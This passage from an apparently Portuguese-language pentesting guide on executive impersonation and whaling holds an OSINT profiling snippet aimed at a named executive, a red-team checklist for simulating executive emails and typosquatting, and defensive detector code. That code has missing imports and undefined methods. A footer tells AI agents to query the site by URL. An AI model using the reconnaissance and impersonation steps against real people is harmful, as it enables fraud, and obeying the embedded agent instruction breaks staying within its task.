osint = OSINTWhaling('John Smith', 'TechCorp')
osint.search_linkedin()
osint.search_company_website()
osint.search_public_records()
osint.search_social_media()
osint.analyze_travel_patterns()
osint.generate_report()
```

### **2. Framework de Detecção**

```python
#!/usr/bin/env python3
# impersonation_detector.py

import re
import json
import dns.resolver
from email import policy
from email.parser import BytesParser

class ImpersonationDetector:
    """Framework para detecção de impersonation"""
    
    def __init__(self):
        self.suspicious_patterns = {
            'urgency': [
                'urgent', 'immediate', 'asap', 'quickly', 'now',
                'time-sensitive', 'critical', 'emergency'
            ],
            'authority': [
                'ceo', 'president', 'director', 'executive', 'management',
                'board', 'head of', 'chief'
            ],
            'financial': [
                'wire transfer', 'payment', 'invoice', 'bank account',
                'send money', 'funds', 'transaction', 'purchase'
            ],
            'credential': [
                'password', 'credentials', 'login', 'verify account',
                'update your information', 'confirm your details'
            ]
        }
        
        self.suspicious_domains = []
    
    def analyze_email_headers(self, email_content):
        """Analisar cabeçalhos de e-mail"""
        parser = BytesParser(policy=policy.default)
        msg = parser.parsebytes(email_content)
        
        analysis = {
            'from': msg.get('From'),
            'to': msg.get('To'),
            'subject': msg.get('Subject'),
            'return_path': msg.get('Return-Path'),
            'received': msg.get_all('Received'),
            'spf': self.check_spf(msg.get('From')),
            'dkim': self.check_dkim(msg.get('From')),
            'dmarc': self.check_dmarc(msg.get('From'))
        }
        
        return analysis
    
    def check_spf(self, from_addr):
        """Verificar SPF do remetente"""
        domain = from_addr.split('@')[1]
        try:
            answers = dns.resolver.resolve(domain, 'TXT')
            for answer in answers:
                if 'v=spf1' in str(answer):
                    if '-all' in str(answer):
                        return 'pass'
                    elif '~all' in str(answer):
                        return 'softfail'
                    elif '?all' in str(answer):
                        return 'neutral'
            return 'none'
        except:
            return 'error'
    
    def check_dkim(self, from_addr):
        """Verificar DKIM"""
        domain = from_addr.split('@')[1]
        # Implementação simplificada
        return 'unknown'
    
    def check_dmarc(self, from_addr):
        """Verificar DMARC"""
        domain = from_addr.split('@')[1]
        try:
            answers = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT')
            for answer in answers:
                if 'v=DMARC1' in str(answer):
                    if 'p=reject' in str(answer):
                        return 'reject'
                    elif 'p=quarantine' in str(answer):
                        return 'quarantine'
            return 'none'
        except:
            return 'none'
    
    def detect_suspicious_content(self, body):
        """Detectar conteúdo suspeito"""
        findings = []
        body_lower = body.lower()
        
        for category, patterns in self.suspicious_patterns.items():
            for pattern in patterns:
                if pattern in body_lower:
                    findings.append({
                        'category': category,
                        'pattern': pattern,
                        'severity': 'medium' if category == 'urgency' else 'high'
                    })
        
        return findings
    
    def calculate_risk_score(self, email_analysis, content_findings):
        """Calcular score de risco"""
        score = 0
        
        # SPF
        if email_analysis.get('spf') in ['softfail', 'neutral', 'none']:
            score += 30
        
        # Conteúdo suspeito
        for finding in content_findings:
            if finding['severity'] == 'high':
                score += 20
            else:
                score += 10
        
        # Urgência
        urgency_count = sum(1 for f in content_findings if f['category'] == 'urgency')
        score += urgency_count * 5
        
        return min(score, 100)
    
    def classify_email(self, email_content):
        """Classificar e-mail como suspeito"""
        headers = self.analyze_email_headers(email_content)
        content = self.extract_body(email_content)
        findings = self.detect_suspicious_content(content)
        risk_score = self.calculate_risk_score(headers, findings)
        
        classification = {
            'risk_score': risk_score,
            'risk_level': self.get_risk_level(risk_score),
            'findings': findings,
            'headers': headers,
            'recommendation': self.get_recommendation(risk_score)
        }
        
        return classification
    
    def get_risk_level(self, score):
        """Obter nível de risco"""
        if score >= 70:
            return 'CRITICAL'
        elif score >= 40:
            return 'HIGH'
        elif score >= 20:
            return 'MEDIUM'
        else:
            return 'LOW'
    
    def get_recommendation(self, score):
        """Obter recomendação baseada no score"""
        if score >= 70:
            return 'Block immediately. Contact security team.'
        elif score >= 40:
            return 'Review manually. Verify with sender via alternate channel.'
        elif score >= 20:
            return 'Caution advised. Check sender carefully.'
        else:
            return 'Likely safe. Normal monitoring continues.'
    
    def extract_body(self, email_content):
        """Extrair corpo do e-mail"""
        parser = BytesParser(policy=policy.default)
        msg = parser.parsebytes(email_content)
        
        if msg.is_multipart():
            for part in msg.walk():
                if part.get_content_type() == 'text/plain':
                    return part.get_content()
        else:
            return msg.get_content()
        
        return ''

# Exemplo
detector = ImpersonationDetector()
with open('suspicious_email.eml', 'rb') as f:
    email_content = f.read()

result = detector.classify_email(email_content)
print(json.dumps(result, indent=2))
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Impersonation:
  
  E-mail:
    - Domínio similar (typosquatting)
    - SPF/DKIM/DMARC falhos
    - Linguagem urgente/ameaçadora
    - Solicitação de transferência financeira
    - Pedido de credenciais
    - Links encurtados suspeitos
  
  Telefone:
    - Número não reconhecido
    - Pressão para ação imediata
    - Solicitação de informações sensíveis
    - Falsas emergências
  
  Comportamentais:
    - Solicitações fora do padrão
    - Horários incomuns
    - Canais de comunicação não habituais
    - Linguagem diferente do normal
```

### **Regras de Detecção (YARA)**

```yara
rule Impersonation_Email_Urgency {
    meta:
        description = "Detects urgent language in emails"
        severity = "high"
    
    strings:
        $urgent1 = "urgent" nocase
        $urgent2 = "immediate" nocase
        $urgent3 = "asap" nocase
        $urgent4 = "time-sensitive" nocase
    
    condition:
        any of them
}

rule Impersonation_Financial_Request {
    meta:
        description = "Detects financial request patterns"
        severity = "critical"
    
    strings:
        $wire = "wire transfer" nocase
        $payment = "payment" nocase
        $invoice = "invoice" nocase
        $bank = "bank account" nocase
    
    condition:
        any of them
}
```

### **Ferramentas de Monitoramento**

```python
# email_monitor.py

import imaplib
import email
import json
from datetime import datetime

class EmailMonitor:
    """Monitoramento de e-mails para detecção de impersonation"""
    
    def __init__(self, imap_server, username, password):
        self.imap = imaplib.IMAP4_SSL(imap_server)
        self.imap.login(username, password)
        self.imap.select('INBOX')
    
    def scan_recent_emails(self, days=7):
        """Escaneia e-mails recentes"""
        date = (datetime.now() - timedelta(days=days)).strftime("%d-%b-%Y")
        result, data = self.imap.search(None, f'(SINCE "{date}")')
        
        suspicious = []
        
        for num in data[0].split():
            result, msg_data = self.imap.fetch(num, '(RFC822)')
            email_body = msg_data[0][1]
            
            detector = ImpersonationDetector()
            analysis = detector.classify_email(email_body)
            
            if analysis['risk_score'] > 40:
                suspicious.append({
                    'uid': num.decode(),
                    'analysis': analysis
                })
        
        return suspicious
    
    def generate_alert(self, suspicious_emails):
        """Gerar alertas para e-mails suspeitos"""
        for email_data in suspicious_emails:
            print(f"\n[!] ALERTA: E-mail suspeito {email_data['uid']}")
            print(f"    Score: {email_data['analysis']['risk_score']}")
            print(f"    Nível: {email_data['analysis']['risk_level']}")
            print(f"    Recomendação: {email_data['analysis']['recommendation']}")

# Exemplo
monitor = EmailMonitor('imap.gmail.com', 'user@gmail.com', 'password')
suspicious = monitor.scan_recent_emails()
monitor.generate_alert(suspicious)
```

***

## 🛡️ **Mitigação e Prevenção**

### **Políticas de Segurança**

```yaml
Políticas Recomendadas:
  
  E-mail:
    - Implementar DMARC, DKIM, SPF rigorosos
    - Bloquear e-mails com SPF softfail
    - Alertar sobre e-mails externos
    - Treinamento de conscientização
  
  Financeiro:
    - Requer autorização dual para transferências
    - Verificar solicitações por canal alternativo
    - Limites por transação
    - Revisão de beneficiários
  
  Técnico:
    - Autenticação de dois fatores (2FA/MFA)
    - Gerenciamento de sessões
    - Monitoramento de comportamentos anômalos
```

### **Treinamento de Conscientização**

```python
# security_training.py

class SecurityTraining:
    """Programa de treinamento anti-whaling"""
    
    def __init__(self):
        self.modules = self.load_modules()
    
    def load_modules(self):
        """Carregar módulos de treinamento"""
        return [
            {
                'title': 'Reconhecendo E-mails Suspeitos',
                'content': 'Como identificar sinais de impersonation',
                'duration': 30
            },
            {
                'title': 'Verificação de Solicitações Financeiras',
                'content': 'Protocolo para transferências e pagamentos',
                'duration': 20
            },
            {
                'title': 'Proteção de Credenciais',
                'content': 'Práticas seguras para senhas e autenticação',
                'duration': 25
            },
            {
                'title': 'Simulação de Ataque',
                'content': 'Exercício prático de identificação',
                'duration': 45
            }
        ]
    
    def run_training(self, employees):
        """Executar treinamento"""
        for employee in employees:
            print(f"[*] Treinando {employee['name']} ({employee['role']})")
            for module in self.modules:
                print(f"  - {module['title']} ({module['duration']} min)")
                self.simulate_module(module)
    
    def simulate_phishing(self, target):
        """Simular ataque de phishing controlado"""
        print(f"[*] Enviando simulação para {target['email']}")
        # Implementar envio de e-mail de teste
        return True

# Exemplo
training = SecurityTraining()
employees = [
    {'name': 'Mary Johnson', 'role': 'CFO', 'email': 'mary@company.com'},
    {'name': 'Peter Chen', 'role': 'Controller', 'email': 'peter@company.com'}
]
training.run_training(employees)
```

### **Resposta a Incidentes**

```python
# incident_response.py

class IncidentResponse:
    """Plano de resposta a incidentes de impersonation"""
    
    def __init__(self, company):
        self.company = company
        self.incident_log = []
    
    def classify_incident(self, incident):
        """Classificar gravidade do incidente"""
        severity = 'LOW'
        
        if incident.get('amount', 0) > 10000:
            severity = 'CRITICAL'
        elif incident.get('amount', 0) > 1000:
            severity = 'HIGH'
        elif incident.get('type') == 'wire_transfer':
            severity = 'HIGH'
        elif incident.get('type') == 'credentials':
            severity = 'MEDIUM'
        
        return severity
    
    def contain_incident(self, incident):
        """Conter o incidente"""
        actions = []
        
        if incident['type'] == 'wire_transfer':
            actions.append('Contact bank to reverse transaction')
            actions.append('Freeze affected accounts')
        
        if incident['type'] == 'credentials':
            actions.append('Force password reset')
            actions.append('Revoke all active sessions')
            actions.append('Enable MFA')
        
        return actions
    
    def notify_stakeholders(self, incident):
        """Notificar partes interessadas"""
        stakeholders = [
            {'name': 'Security Team', 'email': 'security@company.com'},
            {'name': 'Legal', 'email': 'legal@company.com'},
            {'name': 'Executive', 'email': 'exec@company.com'}
        ]
        
        print(f"[!] NOTIFICAÇÃO DE INCIDENTE")
        print(f"    Severidade: {incident['severity']}")
        print(f"    Tipo: {incident['type']}")
        
        return True
    
    def document_incident(self, incident):
        """Documentar incidente para aprendizado"""
        self.incident_log.append({
            'timestamp': datetime.now().isoformat(),
            'incident': incident,
            'lessons': incident.get('lessons', [])
        })
        
        print(f"[+] Incidente documentado")
        return True
    
    def respond(self, incident):
        """Executar resposta completa ao incidente"""
        incident['severity'] = self.classify_incident(incident)
        incident['containment'] = self.contain_incident(incident)
        
        self.notify_stakeholders(incident)
        self.document_incident(incident)
        
        return incident

# Exemplo
response = IncidentResponse('TechCorp')
incident = {
    'type': 'wire_transfer',
    'amount': 50000,
    'recipient': 'Vendor Solutions Ltd',
    'detected': datetime.now().isoformat()
}
response.respond(incident)
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **E-mail**
  * [ ] DMARC, DKIM, SPF configurados
  * [ ] Filtros de e-mail externo
  * [ ] Treinamento anti-phishing
  * [ ] Simulações regulares
* [ ] **Financeiro**
  * [ ] Aprovação dual para transferências
  * [ ] Verificação por canal alternativo
  * [ ] Limites por transação
  * [ ] Lista de beneficiários aprovados
* [ ] **Técnico**
  * [ ] MFA obrigatório
  * [ ] Gerenciamento de sessões
  * [ ] Monitoramento de logins suspeitos
  * [ ] Detecção de anomalias

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Coletar informações do alvo
  * [ ] Mapear hierarquia organizacional
  * [ ] Identificar canais de comunicação
* [ ] **Execução**
  * [ ] Testar typosquatting
  * [ ] Simular e-mails de executivos
  * [ ] Testar resposta a solicitações
* [ ] **Validação**
  * [ ] Verificar taxas de sucesso
  * [ ] Documentar vetores de ataque
  * [ ] Identificar gaps de segurança

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Impersonation & Whaling:
  ✅ Técnicas sofisticadas de engenharia social
  ✅ Alvos de alto valor com impacto financeiro significativo
  ✅ Utilizam múltiplos canais (email, telefone, vídeo)
  ✅ Exploram confiança e autoridade

Defesas essenciais:
  ❌ Nunca confiar em solicitações urgentes
  ✓ Implementar autenticação multifator
  ✓ Verificar por canais alternativos
  ✓ Treinar funcionários regularmente
```

### **Recomendações Finais**

1. **Para Empresas**
   * Implementar políticas rigorosas de transferência financeira
   * Realizar treinamentos regulares de conscientização
   * Simular ataques para testar resposta
   * Manter planos de resposta a incidentes
2. **Para Executivos**
   * Usar canais seguros para comunicações sensíveis
   * Estabelecer procedimentos de verificação
   * Ser cauteloso com solicitações urgentes
   * Proteger informações pessoais online
3. **Para Equipes de Segurança**
   * Monitorar padrões de comunicação
   * Implementar detecção de anomalias
   * Realizar testes regulares
   * Manter-se atualizado sobre novas técnicas


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/fatores-humanos/impersonation-and-whaling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.